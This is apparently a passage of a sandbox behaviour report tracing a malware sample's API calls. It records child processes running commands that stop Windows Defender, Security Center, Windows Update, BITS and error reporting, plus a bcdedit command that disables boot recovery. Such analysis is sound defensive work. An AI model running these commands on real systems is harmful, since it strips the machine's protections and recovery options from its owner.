HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.681] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.682] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.682] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.682] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.682] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.682] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.682] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.682] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.682] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.682] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.682] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x55f680 [0037.686] OpenServiceW (hSCManager=0x55f680, lpServiceName="wscsvc", dwDesiredAccess=0x20) returned 0x55f5e0 [0037.687] ControlService (in: hService=0x55f5e0, dwControl=0x1, lpServiceStatus=0x26f6f0 | out: lpServiceStatus=0x26f6f0*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0038.911] _itow (in: _Dest=0x20, _Radix=2553308 | out: _Dest=0x20) returned="20" [0038.911] _itow (in: _Dest=0x3, _Radix=2553356 | out: _Dest=0x3) returned="3" [0038.911] _itow (in: _Dest=0x0, _Radix=2553476 | out: _Dest=0x0) returned="0" [0038.911] _itow (in: _Dest=0x0, _Radix=2553452 | out: _Dest=0x0) returned="0" [0038.911] _itow (in: _Dest=0x0, _Radix=2553380 | out: _Dest=0x0) returned="0" [0038.911] _itow (in: _Dest=0x0, _Radix=2553332 | out: _Dest=0x0) returned="0" [0038.911] _itow (in: _Dest=0x0, _Radix=2553284 | out: _Dest=0x0) returned="0" [0038.911] _itow (in: _Dest=0x0, _Radix=2553404 | out: _Dest=0x0) returned="0" [0038.911] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x2f, dwLanguageId=0x0, lpBuffer=0x26f560, nSize=0x2, Arguments=0x26f570 | out: lpBuffer="㱈V\x01") returned 0x15f [0038.912] GetFileType (hFile=0x7) returned 0x2 [0038.917] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f534 | out: lpMode=0x26f534) returned 1 [0038.917] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x563c48*, nNumberOfCharsToWrite=0x15f, lpNumberOfCharsWritten=0x26f550, lpReserved=0x0 | out: lpBuffer=0x563c48*, lpNumberOfCharsWritten=0x26f550*=0x15f) returned 1 [0038.920] LocalFree (hMem=0x563c48) returned 0x0 [0038.920] LocalFree (hMem=0x0) returned 0x0 [0038.920] CloseServiceHandle (hSCObject=0x55f5e0) returned 1 [0038.920] CloseServiceHandle (hSCObject=0x55f680) returned 1 [0039.313] exit (_Code=0) Thread: id = 45 os_tid = 0xc74 Process: id = "5" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x34680000" os_pid = "0xa30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "sc stop WinDefend" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10 os_tid = 0xa00 [0037.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xa75fa440, dwHighDateTime=0x1d5e09d)) [0037.701] GetCurrentProcessId () returned 0xa30 [0037.701] GetCurrentThreadId () returned 0xa00 [0037.701] GetTickCount () returned 0x11548b4 [0037.701] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17957246963) returned 1 [0037.702] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.702] __set_app_type (_Type=0x1) [0037.702] __p__fmode () returned 0x76be31f4 [0037.702] __p__commode () returned 0x76be31fc [0037.702] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.702] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.702] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.705] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.705] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.705] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.705] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.705] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.705] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.705] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.705] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.705] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.705] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.705] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.705] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3bf690 [0037.708] OpenServiceW (hSCManager=0x3bf690, lpServiceName="WinDefend", dwDesiredAccess=0x20) returned 0x3bf5f0 [0037.709] ControlService (in: hService=0x3bf5f0, dwControl=0x1, lpServiceStatus=0x18fe78 | out: lpServiceStatus=0x18fe78*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0038.904] _itow (in: _Dest=0x20, _Radix=1637732 | out: _Dest=0x20) returned="20" [0038.904] _itow (in: _Dest=0x4, _Radix=1637780 | out: _Dest=0x4) returned="4" [0038.904] _itow (in: _Dest=0x0, _Radix=1637900 | out: _Dest=0x0) returned="0" [0038.904] _itow (in: _Dest=0x0, _Radix=1637876 | out: _Dest=0x0) returned="0" [0038.904] _itow (in: _Dest=0x0, _Radix=1637804 | out: _Dest=0x0) returned="0" [0038.904] _itow (in: _Dest=0x0, _Radix=1637756 | out: _Dest=0x0) returned="0" [0038.904] _itow (in: _Dest=0x0, _Radix=1637708 | out: _Dest=0x0) returned="0" [0038.904] _itow (in: _Dest=0x0, _Radix=1637828 | out: _Dest=0x0) returned="0" [0038.904] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x2f, dwLanguageId=0x0, lpBuffer=0x18fce8, nSize=0x2, Arguments=0x18fcf8 | out: lpBuffer="㲀<\x01") returned 0x15d [0038.907] GetFileType (hFile=0x7) returned 0x2 [0038.916] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18fcbc | out: lpMode=0x18fcbc) returned 1 [0038.917] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3c3c80*, nNumberOfCharsToWrite=0x15d, lpNumberOfCharsWritten=0x18fcd8, lpReserved=0x0 | out: lpBuffer=0x3c3c80*, lpNumberOfCharsWritten=0x18fcd8*=0x15d) returned 1 [0038.918] LocalFree (hMem=0x3c3c80) returned 0x0 [0038.918] LocalFree (hMem=0x0) returned 0x0 [0038.918] CloseServiceHandle (hSCObject=0x3bf5f0) returned 1 [0038.919] CloseServiceHandle (hSCObject=0x3bf690) returned 1 [0039.312] exit (_Code=0) Thread: id = 44 os_tid = 0xc70 Process: id = "6" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x33985000" os_pid = "0xa18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "sc stop wuauserv" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0xa28 [0037.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13fd04 | out: lpSystemTimeAsFileTime=0x13fd04*(dwLowDateTime=0xa77510a0, dwHighDateTime=0x1d5e09d)) [0037.841] GetCurrentProcessId () returned 0xa18 [0037.841] GetCurrentThreadId () returned 0xa28 [0037.841] GetTickCount () returned 0x1154941 [0037.841] QueryPerformanceCounter (in: lpPerformanceCount=0x13fcfc | out: lpPerformanceCount=0x13fcfc*=17971188599) returned 1 [0037.841] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.841] __set_app_type (_Type=0x1) [0037.841] __p__fmode () returned 0x76be31f4 [0037.841] __p__commode () returned 0x76be31fc [0037.841] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.841] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.842] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.844] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.845] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.845] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.845] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.845] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.845] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.845] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.845] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.845] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.845] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.845] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.845] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1ef690 [0037.848] OpenServiceW (hSCManager=0x1ef690, lpServiceName="wuauserv", dwDesiredAccess=0x20) returned 0x1ef5f0 [0037.849] ControlService (in: hService=0x1ef5f0, dwControl=0x1, lpServiceStatus=0x13fc00 | out: lpServiceStatus=0x13fc00*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x7530)) returned 1 [0039.914] _itow (in: _Dest=0x20, _Radix=1309420 | out: _Dest=0x20) returned="20" [0039.915] _itow (in: _Dest=0x3, _Radix=1309468 | out: _Dest=0x3) returned="3" [0039.915] _itow (in: _Dest=0x0, _Radix=1309588 | out: _Dest=0x0) returned="0" [0039.915] _itow (in: _Dest=0x0, _Radix=1309564 | out: _Dest=0x0) returned="0" [0039.915] _itow (in: _Dest=0x0, _Radix=1309492 | out: _Dest=0x0) returned="0" [0039.915] _itow (in: _Dest=0x0, _Radix=1309444 | out: _Dest=0x0) returned="0" [0039.915] _itow (in: _Dest=0x1, _Radix=1309396 | out: _Dest=0x1) returned="1" [0039.915] _itow (in: _Dest=0x7530, _Radix=1309516 | out: _Dest=0x7530) returned="7530" [0039.915] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x2f, dwLanguageId=0x0, lpBuffer=0x13fa70, nSize=0x2, Arguments=0x13fa80 | out: lpBuffer="㲀\x1f\x01") returned 0x168 [0039.916] GetFileType (hFile=0x7) returned 0x2 [0039.919] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x13fa44 | out: lpMode=0x13fa44) returned 1 [0039.923] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1f3c80*, nNumberOfCharsToWrite=0x168, lpNumberOfCharsWritten=0x13fa60, lpReserved=0x0 | out: lpBuffer=0x1f3c80*, lpNumberOfCharsWritten=0x13fa60*=0x168) returned 1 [0039.932] LocalFree (hMem=0x1f3c80) returned 0x0 [0039.932] LocalFree (hMem=0x0) returned 0x0 [0039.932] CloseServiceHandle (hSCObject=0x1ef5f0) returned 1 [0039.941] CloseServiceHandle (hSCObject=0x1ef690) returned 1 [0040.430] exit (_Code=0) Thread: id = 56 os_tid = 0xcb8 Process: id = "7" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x3218a000" os_pid = "0xa2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "sc stop BITS" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0xa44 [0038.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2afe24 | out: lpSystemTimeAsFileTime=0x2afe24*(dwLowDateTime=0xa7b555c0, dwHighDateTime=0x1d5e09d)) [0038.266] GetCurrentProcessId () returned 0xa2c [0038.266] GetCurrentThreadId () returned 0xa44 [0038.266] GetTickCount () returned 0x1154ae6 [0038.266] QueryPerformanceCounter (in: lpPerformanceCount=0x2afe1c | out: lpPerformanceCount=0x2afe1c*=18013751246) returned 1 [0038.267] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0038.267] __set_app_type (_Type=0x1) [0038.267] __p__fmode () returned 0x76be31f4 [0038.267] __p__commode () returned 0x76be31fc [0038.267] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0038.267] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0038.268] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.270] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.270] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0038.271] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0038.271] _wcsicmp (_String1="stop", _String2="query") returned 2 [0038.271] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0038.271] _wcsicmp (_String1="stop", _String2="start") returned 14 [0038.271] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0038.271] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0038.271] _wcsicmp (_String1="stop", _String2="control") returned 16 [0038.271] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0038.271] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0038.271] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x5ff680 [0038.274] OpenServiceW (hSCManager=0x5ff680, lpServiceName="BITS", dwDesiredAccess=0x20) returned 0x5ff5e0 [0038.275] ControlService (in: hService=0x5ff5e0, dwControl=0x1, lpServiceStatus=0x2afd20 | out: lpServiceStatus=0x2afd20*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0038.275] GetLastError () returned 0x426 [0038.275] _itow (in: _Dest=0x426, _Radix=2817212 | out: _Dest=0x426) returned="1062" [0038.275] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0038.282] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x2afca4, nSize=0x2, Arguments=0x2afcb0 | out: lpBuffer="㱈`\x01") returned 0x49 [0038.900] GetFileType (hFile=0x7) returned 0x2 [0038.900] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2afc78 | out: lpMode=0x2afc78) returned 1 [0038.901] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x603c48*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x2afc94, lpReserved=0x0 | out: lpBuffer=0x603c48*, lpNumberOfCharsWritten=0x2afc94*=0x49) returned 1 [0038.901] LocalFree (hMem=0x603c48) returned 0x0 [0038.901] LocalFree (hMem=0x0) returned 0x0 [0038.901] CloseServiceHandle (hSCObject=0x5ff5e0) returned 1 [0038.908] CloseServiceHandle (hSCObject=0x5ff680) returned 1 [0039.310] exit (_Code=1062) Thread: id = 43 os_tid = 0xc6c Process: id = "8" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x3228f000" os_pid = "0xa4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "sc stop ERSvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0x174 [0038.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26ff64 | out: lpSystemTimeAsFileTime=0x26ff64*(dwLowDateTime=0xa7bedb40, dwHighDateTime=0x1d5e09d)) [0038.320] GetCurrentProcessId () returned 0xa4c [0038.320] GetCurrentThreadId () returned 0x174 [0038.320] GetTickCount () returned 0x1154b24 [0038.320] QueryPerformanceCounter (in: lpPerformanceCount=0x26ff5c | out: lpPerformanceCount=0x26ff5c*=18019159905) returned 1 [0038.321] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0038.321] __set_app_type (_Type=0x1) [0038.321] __p__fmode () returned 0x76be31f4 [0038.321] __p__commode () returned 0x76be31fc [0038.321] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0038.321] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0038.322] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.324] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.324] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0038.325] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0038.325] _wcsicmp (_String1="stop", _String2="query") returned 2 [0038.325] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0038.325] _wcsicmp (_String1="stop", _String2="start") returned 14 [0038.325] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0038.325] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0038.325] _wcsicmp (_String1="stop", _String2="control") returned 16 [0038.325] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0038.325] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0038.325] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x49f680 [0038.328] OpenServiceW (hSCManager=0x49f680, lpServiceName="ERSvc", dwDesiredAccess=0x20) returned 0x0 [0038.329] GetLastError () returned 0x424 [0038.329] _itow (in: _Dest=0x424, _Radix=2555388 | out: _Dest=0x424) returned="1060" [0038.329] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0038.331] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26fde4, nSize=0x2, Arguments=0x26fdf0 | out: lpBuffer="ᣈJ\x01") returned 0x62 [0039.282] GetFileType (hFile=0x7) returned 0x2 [0039.283] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26fdb8 | out: lpMode=0x26fdb8) returned 1 [0039.283] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a18c8*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x26fdd4, lpReserved=0x0 | out: lpBuffer=0x4a18c8*, lpNumberOfCharsWritten=0x26fdd4*=0x62) returned 1 [0039.283] LocalFree (hMem=0x4a18c8) returned 0x0 [0039.283] LocalFree (hMem=0x0) returned 0x0 [0039.284] CloseServiceHandle (hSCObject=0x49f680) returned 1 [0039.771] exit (_Code=1060) Thread: id = 49 os_tid = 0xc8c Process: id = "9" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x33f94000" os_pid = "0xae4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "sc stop WerSvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x484 [0037.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f94c | out: lpSystemTimeAsFileTime=0x16f94c*(dwLowDateTime=0xa766c860, dwHighDateTime=0x1d5e09d)) [0037.747] GetCurrentProcessId () returned 0xae4 [0037.747] GetCurrentThreadId () returned 0x484 [0037.747] GetTickCount () returned 0x11548e3 [0037.747] QueryPerformanceCounter (in: lpPerformanceCount=0x16f944 | out: lpPerformanceCount=0x16f944*=17961833274) returned 1 [0037.747] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0037.747] __set_app_type (_Type=0x1) [0037.747] __p__fmode () returned 0x76be31f4 [0037.747] __p__commode () returned 0x76be31fc [0037.748] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0037.748] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0037.748] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.751] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.751] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0037.751] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0037.751] _wcsicmp (_String1="stop", _String2="query") returned 2 [0037.751] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0037.751] _wcsicmp (_String1="stop", _String2="start") returned 14 [0037.751] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0037.751] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0037.751] _wcsicmp (_String1="stop", _String2="control") returned 16 [0037.751] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0037.751] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0037.751] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2bf680 [0037.754] OpenServiceW (hSCManager=0x2bf680, lpServiceName="WerSvc", dwDesiredAccess=0x20) returned 0x2bf5e0 [0037.755] ControlService (in: hService=0x2bf5e0, dwControl=0x1, lpServiceStatus=0x16f848 | out: lpServiceStatus=0x16f848*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0038.914] _itow (in: _Dest=0x20, _Radix=1505076 | out: _Dest=0x20) returned="20" [0038.914] _itow (in: _Dest=0x3, _Radix=1505124 | out: _Dest=0x3) returned="3" [0038.914] _itow (in: _Dest=0x0, _Radix=1505244 | out: _Dest=0x0) returned="0" [0038.914] _itow (in: _Dest=0x0, _Radix=1505220 | out: _Dest=0x0) returned="0" [0038.914] _itow (in: _Dest=0x0, _Radix=1505148 | out: _Dest=0x0) returned="0" [0038.914] _itow (in: _Dest=0x0, _Radix=1505100 | out: _Dest=0x0) returned="0" [0038.914] _itow (in: _Dest=0x0, _Radix=1505052 | out: _Dest=0x0) returned="0" [0038.914] _itow (in: _Dest=0x0, _Radix=1505172 | out: _Dest=0x0) returned="0" [0038.914] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x2f, dwLanguageId=0x0, lpBuffer=0x16f6b8, nSize=0x2, Arguments=0x16f6c8 | out: lpBuffer="㱈,\x01") returned 0x163 [0038.915] GetFileType (hFile=0x7) returned 0x2 [0038.917] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f68c | out: lpMode=0x16f68c) returned 1 [0038.918] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x2c3c48*, nNumberOfCharsToWrite=0x163, lpNumberOfCharsWritten=0x16f6a8, lpReserved=0x0 | out: lpBuffer=0x2c3c48*, lpNumberOfCharsWritten=0x16f6a8*=0x163) returned 1 [0038.921] LocalFree (hMem=0x2c3c48) returned 0x0 [0038.921] LocalFree (hMem=0x0) returned 0x0 [0038.921] CloseServiceHandle (hSCObject=0x2bf5e0) returned 1 [0038.922] CloseServiceHandle (hSCObject=0x2bf680) returned 1 [0039.315] exit (_Code=0) Thread: id = 46 os_tid = 0xc78 Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x33499000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "cmd.exe /c bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0x9d8 [0038.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3dfb1c | out: lpSystemTimeAsFileTime=0x3dfb1c*(dwLowDateTime=0xa7e28fe0, dwHighDateTime=0x1d5e09d)) [0038.555] GetCurrentProcessId () returned 0xa14 [0038.555] GetCurrentThreadId () returned 0x9d8 [0038.555] GetTickCount () returned 0x1154c0e [0038.555] QueryPerformanceCounter (in: lpPerformanceCount=0x3dfb14 | out: lpPerformanceCount=0x3dfb14*=18042644355) returned 1 [0038.556] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.556] __set_app_type (_Type=0x1) [0038.556] __p__fmode () returned 0x76be31f4 [0038.556] __p__commode 